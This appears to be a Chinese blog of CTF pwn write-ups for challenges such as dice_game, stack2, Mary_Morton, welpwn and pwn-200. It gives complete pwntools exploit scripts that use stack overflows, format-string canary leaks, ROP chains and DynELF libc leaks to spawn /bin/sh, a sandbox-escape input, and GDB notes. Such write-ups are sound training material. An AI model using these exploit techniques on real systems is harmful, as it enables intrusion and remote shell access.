他来了,他来了,他带着flag走来了。。。
001-dice_game
学到了python调用c的库函数的新知识。
给出了两个文件,一个是题目的文件,一个是库文件。库文件不是用来调用system的,而是用了调用随机数函数的。
这题是让你猜数,猜50次。
栈溢出可以修改随机数种子,预测接下来的50个数。
from pwn import *
from ctypes import *
context.log_level = 'debug'
p=remote('220.249.52.133',30361)
libc = cdll.LoadLibrary("libc.so.6")
p.recvuntil("Welcome, let me know your name: ")
payload1 = 'a'*0x40 + p64(0)
p.sendline(payload1)
for i in range(50):
p.recvuntil('Give me the point(1~6): ')
p.sendline(str(libc.rand() % 6 + 1))
p.recv() #recv "you win"
print p.recv() #recv flag
cdll.LoadLibrary可以调用c的库函数,需要from ctypes import *
002-stack2
数组溢出+构造system("sh")。可以用到ROPgadget。
有好几次数组的调用,但是大多都限制了数组的下标,但是仍然存在一处未检测(menu=3的情况),可以实现数组溢出:
题目中存在一个hackhere,里面有system("/bin/bash");
可以写出如下脚本:
def f(addr, data):
p.sendlineafter('5. exit', '3')
p.sendlineafter('which number to change:', str(addr))
p.sendlineafter('new number:', str(data))
from pwn import *
context.log_level = 'debug'
p = process('./3fb1a42837be485aae7d85d11fbc457b')
#p = remote('220.249.52.133',52711)
p.sendlineafter('How many numbers you have:','1')
p.sendlineafter('Give me your numbers','1')
hackhere = 0x804859B
f(0x70 + 0x10 + 4 + 0, 0x9B)
f(0x70 + 0x10 + 4 + 1, 0x85)
f(0x70 + 0x10 + 4 + 2, 0x04)
f(0x70 + 0x10 + 4 + 3, 0x08)
p.sendlineafter('5. exit', '5')
p.interactive()
还有一点,数组在栈中的偏移其实是0x70,但是ret之前有个lea esp, [ecx-4]
:
使得esp多了10个偏移。
GDB动调下:
很明显看出ESP的变化。具体的原因似乎很复杂??左转在PWN题中绕过lea esp以及关于Ret2dl的一些补充
本地可以打通,但是远程会这样:
听wp区的大佬说,出题人说本来是打docker镜像的时候,环境出了点问题,只有/bin/sh可以用。但是这样也能做题。
那我们就手动构造,调用system("/bin/sh");
"/bin/sh"可以用"sh"替代。/bin/bash的最后两个字符恰好是sh,并且后面是x00。刚好满足需求。
当然也可以用ROPgadget来查找,不过需要注意x00
ROPgadget --binary 3fb1a42837be485aae7d85d11fbc457b --string 'sh'
Strings information
0x08048987 : sh
0x08048ab3 : sh
ROPgadget在Pwn中用于搜索汇编指令和字符串,安装方法:
1.安装python-capstone:apt-get install python-capstone
2.下载安装文件:git clone https://github.com/JonathanSalwan/ROPgadget.git
3.进入目录 :cd ROPgadget
4.运行安装脚本: python setup.py develop使用方法:
1.搜索/bin/sh:
ROPgadget --binary intoverflow “/bin/sh”
转张wp区大佬的system函数调用栈图:
栈中高地址->低地址的数据依次是:函数地址,函数返回地址,command参数。
写出脚本:
def f(addr, data):
p.sendlineafter('5. exit', '3')
p.sendlineafter('which number to change:', str(addr))
p.sendlineafter('new number:', str(data))
from pwn import *
context.log_level = 'debug'
p = remote('220.249.52.133',33381)
p.sendlineafter('How many numbers you have:','1')
p.sendlineafter('Give me your numbers','1')
system_addr = 8048450
f(0x70 + 0x10 + 4 + 0, 0x50)
f(0x70 + 0x10 + 4 + 1, 0x84)
f(0x70 + 0x10 + 4 + 2, 0x04)
f(0x70 + 0x10 + 4 + 3, 0x08)
sh_str_addr = 0x08048987
f(0x70 + 0x10 + 4 + 8 + 0, 0x87)
f(0x70 + 0x10 + 4 + 8 + 1, 0x89)
f(0x70 + 0x10 + 4 + 8 + 2, 0x04)
f(0x70 + 0x10 + 4 + 8 + 3, 0x08)
p.sendlineafter('5. exit', '5')
p.interactive()
'''
ROPgadget --binary 3fb1a42837be485aae7d85d11fbc457b --string 'sh'
Strings information
============================================================
0x08048987 : sh
0x08048ab3 : sh
'''
注意此时调用的函数不是hackhere,而是system。
GDB的使用
基于上道题(stack2),我总结些GDB的使用。
运行下面的脚本(不要在vscode里面运行,会调用gdb失败)
def f(addr, data):
p.sendlineafter('5. exit', '3')
p.sendlineafter('which number to change:', str(addr))
p.sendlineafter('new number:', str(data))
from pwn import *
context.log_level = 'debug'
p = gdb.debug('./3fb1a42837be485aae7d85d11fbc457b', 'b *0x80488F2')
#p = remote('220.249.52.133',33381)
#p = process('./3fb1a42837be485aae7d85d11fbc457b')
p.sendlineafter('How many numbers you have:','1')
p.sendlineafter('Give me your numbers','1')
system_addr = 8048450
f(0x70 + 0x10 + 4 + 0, 0x50)
f(0x70 + 0x10 + 4 + 1, 0x84)
f(0x70 + 0x10 + 4 + 2, 0x04)
f(0x70 + 0x10 + 4 + 3, 0x08)
f(0x70 + 0x10 + 4 + 8 + 0, 0x87)
f(0x70 + 0x10 + 4 + 8 + 1, 0x89)
f(0x70 + 0x10 + 4 + 8 + 2, 0x04)
f(0x70 + 0x10 + 4 + 8 + 3, 0x08)
p.sendlineafter('5. exit', '5')
p.interactive()
最关键的是p = gdb.debug('./3fb1a42837be485aae7d85d11fbc457b', 'b *0x80488F2')
,在0x80488F2下断点,这是ret的地址。
一开始是这样的:
然后输入c,“继续”的意思。界面变成这样:
此时pwntools已经按照脚本把数据打进了程序里。同时,程序停在了ret处。可以看到划线处,表示的是下一个函数的地址。返回地址被修改成了system@plt.
此时输入n,单步运行。(如果是debug版本的,也可能会运行好几步。ni才是真正的单步运行。s是单步步入)。可以看到这样的界面:
这是这system的plt处。可以看到栈内的第二个数据是”sh"的地址。即可调用system("sh");
转一些GDB命令:
进入gdb调试环境
list n | list | list 函数名
l n | l | l 函数名
在调试过程中查看源文件,n为源文件的行号,每次显示10行。
list可以简写为l,不带任何参数的l表示从当前执行行查看。
注意:在(gdb)中直接回车,表示执行上一条命令。
start | s
开始执行程序,并main函数的停在第一条语句处。
(gdb)run|r
连续执行程序,直到遇到断点
(gdb)continue|c
继续执行程序,直到下个断点
(gdb)next|n
执行下一行语句
(gdb)step|s
进入正在执行的函数内部
(gdb)finish
一直执行到当前函数返回,即跳出当前函数,执行其调用函数
变量信息管理
(gdb)info 变量名|i 变量名|i locals
i变量名查看一个变量的值,i locals查看所有局部变量的值
修改变量的值
(gdb)set var 变量名=变量值
(gdb) print 表达式
打印表达式,通过表达式可以修改变量的值,p 变量名=变量值
(gdb)display 变量名
使得程序每次停下来都会显示变量的值
x/nbx 变量名
查看从变量名开始的n个字节,例x/7bx input 表示查看从变量input开始的7个内存单元的内容
x/10xw,x/10xg应该比较常用吧。
x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十六进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
c 按字符格式显示变量。
f 按浮点数格式显示变量。
b表示单字节,h表示双字节,w表示四字节,g表示八字节。
查看函数调用栈
(gdb)backtrace|bt
查看其调用函数的信息
(gdb)frame n|f n
n为栈的层次,然后可以用其他命令(info)查看此级别的变量信息
断点管理
设置断点
break n|break 函数名|b n| b 函数名|b n(函数名)if 条件
n为行号,添加if表示设置条件断点,只有条件为真时,才中断
查看断点
info breakpoints|i breakpoints
删除断点
delete breakpoints n
使断点失效
disable breakpoints n
使断点生效
enable breakpoints n
其中n为断点的序列号,可以用info breakpoints查看
观察点管理
断点是程序执行到某行代码是触发,观察点是程序访问某个内存单元时触发
(gdb)watch 变量名
当程序访问变量名指定的内存单元时,停止程序
info watchpoints|delete watchpoints
类似断点管理
退出gdb环境
(gdb)quit | q
003-forget
俩处读入,第一处限制读入32字符,无法利用,第二处是经典的栈溢出。
且存在cat flag
的函数:
所以只需要找机会调用此函数即可。
v3-v12均为函数地址,v14算是下标。
之后会调用这些函数:
所以我们可以利用前面说的栈溢出,覆盖掉v3-v12中的一处,覆盖为cat flag
的函数地址。
我这边选择了覆盖v3,因为v3在栈中 紧贴存在栈溢出漏洞的变量,对程序流程造成的未知影响的可能性最小。
from pwn import *
context.log_level = 'debug'
#io = process('./d033ab68b3e64913a1b6b1029ef3dc29')
io = remote('111.198.29.45',56968)
#gdb.attach(io)
io.recvuntil('> ')
io.sendline('iyzyi')
io.recvuntil('> ')
cat_flag_addr = 0x80486CC
payload = '/'*(0x74-0x54)+ p32(cat_flag_addr)
io.sendline(payload)
io.interactive()
为什么payload中使用字符/
呢?
因为程序流程:
v14 = 1;
v3 = sub_8048604;
v4 = sub_8048618;
v5 = sub_804862C;
v6 = sub_8048640;
v7 = sub_8048654;
v8 = sub_8048668;
v9 = sub_804867C;
v10 = sub_8048690;
v11 = sub_80486A4;
v12 = sub_80486B8;
...省略细枝末节的代码...
__isoc99_scanf("%s", v2);
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
switch ( v14 )
{
case 1:
if ( sub_8048702(v2[i]) )
v14 = 2;
break;
case 2:
if ( v2[i] == '@' )
v14 = 3;
break;
case 3:
if ( sub_804874C(v2[i]) )
v14 = 4;
break;
case 4:
if ( v2[i] == '.' )
v14 = 5;
break;
case 5:
if ( sub_8048784(v2[i]) )
v14 = 6;
break;
case 6:
if ( sub_8048784(v2[i]) )
v14 = 7;
break;
case 7:
if ( sub_8048784(v2[i]) )
v14 = 8;
break;
case 8:
if ( sub_8048784(v2[i]) )
v14 = 9;
break;
case 9:
v14 = 10;
break;
default:
continue;
}
}
(*(&v3 + --v14))();
我们要想让程序执行v3处的函数(其实是被我们覆盖后的函数),就必须让最后一行的v14=1
(这样--v14的值就是0,所以就是运行v3处的函数),但是v14本来等于1,所以我们只需要在for循环中,不给它赋其他值的机会,所以我们要让下图这一步的if为假,如此便可break,v14还会保持为1。
上图中的函数如下:
即判断输入字符为:a-z0-9_-+.
所以我们可以输入一些不是上面的字符的字符,比如大写字母,比如特殊符号。
csdn中有人问为什么可以是A,但不可以是a,原因就在这里。
004-Mary_Morton
查看保护:
开了栈缓冲区保护和栈不可执行。
第一次遇到Stack:Canary found
的栈缓冲区保护的题目,查了下资料,原来原理是这样的:
在函数的开始,将一个fs的一个值压入栈内,最后ret的时候要要验证这个值是否发生改变:
如果我们使用常规的栈缓冲区溢出的漏洞,必然会覆盖掉这个值,从而无法通过验证。
主函数:
本题两个明显的漏洞:
- 格式化字符串
- 栈溢出
所以思路就是通过格式化字符串拿到canary(就是我们前面提到的那个验证值),然后通过栈溢出构造payload。
轻松看出格式化字符串漏洞处的buf距离栈顶偏移6:
此时栈内buf为0x90,canary为0x08,二者偏移(0x90-0x08)/8=17,所以canary距离栈顶偏移17+6=23。
通过下图获取canary:
后半部分的栈溢出就不用讲了吧,很经典的。
from pwn import *
context.log_level = 'debug'
#i = process('./22e2d7579d2d4359a5a1735edddef631')
i = remote('111.198.29.45',58197)
elf = ELF('./22e2d7579d2d4359a5a1735edddef631')
i.recvuntil('Exit the battle ')
i.sendline('2')
payload = '%23$p'
i.sendline(payload)
canary = i.recvuntil('\n1. Stack Bufferoverflow Bug', drop=True).strip()
canary = int(canary, 16)
print canary
i.recvuntil('Exit the battle ')
i.sendline('1')
cat_flag_addr = 0x4008DA
payload = 'a'*(0x90-0x08) + p64(canary) + 'a'*0x08 + p64(cat_flag_addr)
i.sendline(payload)
i.interactive()
注意第一部分获取canary,用的是%23$p
,而不是%23$x
,我就是被坑在这里。
32 位程序,%p 等同于 %08x;64 位程序,%p 等同于 %016llx。
也就是说,指针有多少字节他就输出多少字节。
顺便说一下一个和本体无关的知识点:canary的最后一个字节一定为0,所以爆破的话,32位只需爆破3位,64位只需爆破7位。
006-welpwn
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
context.log_level = 'debug'
#p = process('./welpwn')
#p = gdb.debug('./welpwn', 'b *0x4007CC')
p = remote('220.249.52.133',57544)
def leak(address):
pppr = 0x40089C # pop_junk_r12_r13_r14_r15_ret
ppppppr = 0x40089A # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
mmmc = 0x400880 # mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
main = 0x4007CD
rbx = 0
rbp = 1
r12 = got_write = 0x601020
rdx = r13 = 8
rsi = r14 = address
rdi = r15 = 1
payload = 'a' * 0x10 + 'b' * 8
payload += p64(pppr)
payload += p64(ppppppr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(mmmc)
payload += 'c' * 8 * (6 + 1) + p64(main)
p.recvuntil('Welcome to RCTF')
p.sendline(payload)
p.recv()
data = p.recv(8)
#p.recvall()
return data
def f(system_addr):
pppr = 0x40089C # pop_junk_r12_r13_r14_r15_ret
ppppppr = 0x40089A # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
mmmc = 0x400880 # mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8]
main = 0x4007CD
bss_addr = 0x601070
rbx = 0
rbp = 1
r12 = got_read = 0x601038
rdx = r13 = 32
rsi = r14 = bss_addr
rdi = r15 = 0
payload = 'a' * 0x10 + 'b' * 8
payload += p64(pppr)
payload += p64(ppppppr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(mmmc)
payload += 'c' * 8 * (6 + 1)
payload += p64(0x4008a3) + p64(bss_addr+8) + p64(system_addr)
p.recvuntil('Welcome to RCTF')
p.sendline(payload)
#sleep(5)
p.sendline(p64(system_addr) + '/bin/sh\x00')
sleep(3)
p.interactive()
# 构造可以循环使用的泄露地址的leak函数,
# 借助DynELF小工具,拿到libc.system在内存中的地址。
d = DynELF(leak, elf=ELF('./welpwn'))
system_addr = d.lookup('system', 'libc')
print 'system addr : ' + hex(system_addr)
#system_addr = 0x7feda435f3a0
bss_addr = 0x601070
f(system_addr)
先贴我的脚本,题解打算详细点写,所以留到明天吧。
007-monkey
给出的附件几十M,名字是js。
评论区说是沙箱逃逸。
nc后输入os.system("sh")即可获得shell
长知识了。
009-pwn-200
from pwn import *
context.log_level = 'debug'
#p = process('./pwn-200')
#p = gdb.debug('./pwn-200', 'b *0x080485cd')
p = remote('220.249.52.133',33105)
e = ELF('./pwn-200')
write_plt = e.plt['write']
read_plt = e.plt['read']
start_addr = 0x80483d0
sub_8048484 = 0x8048484
bss_addr = e.bss()
pppr_addr = 0x080485cd
def leak(address):
payload = 'a' * 0x6c + 'b' * 0x4
payload += p32(write_plt) + p32(sub_8048484) + p32(1) + p32(address) + p32(4)
p.sendline(payload)
return p.recv(4)
p.recvline('Welcome to XDCTF2015~!')
# 泄露system
d = DynELF(leak, elf=ELF('./pwn-200'))
system_addr = d.lookup('system', 'libc')
print 'system addr: ' + hex(system_addr)
# 要注意,在多次泄露完函数地址之后,要调用start函数来恢复栈。
payload2 = 'a' * 0x6c + 'b' * 0x4 + p32(start_addr)
p.sendline(payload2)
print p.recv()
payload = 'a' * 0x6c + 'b' * 0x4
payload += p32(read_plt) + p32(pppr_addr) + p32(0) + p32(bss_addr) + p32(8)
payload += p32(system_addr) + p32(sub_8048484) + p32(bss_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()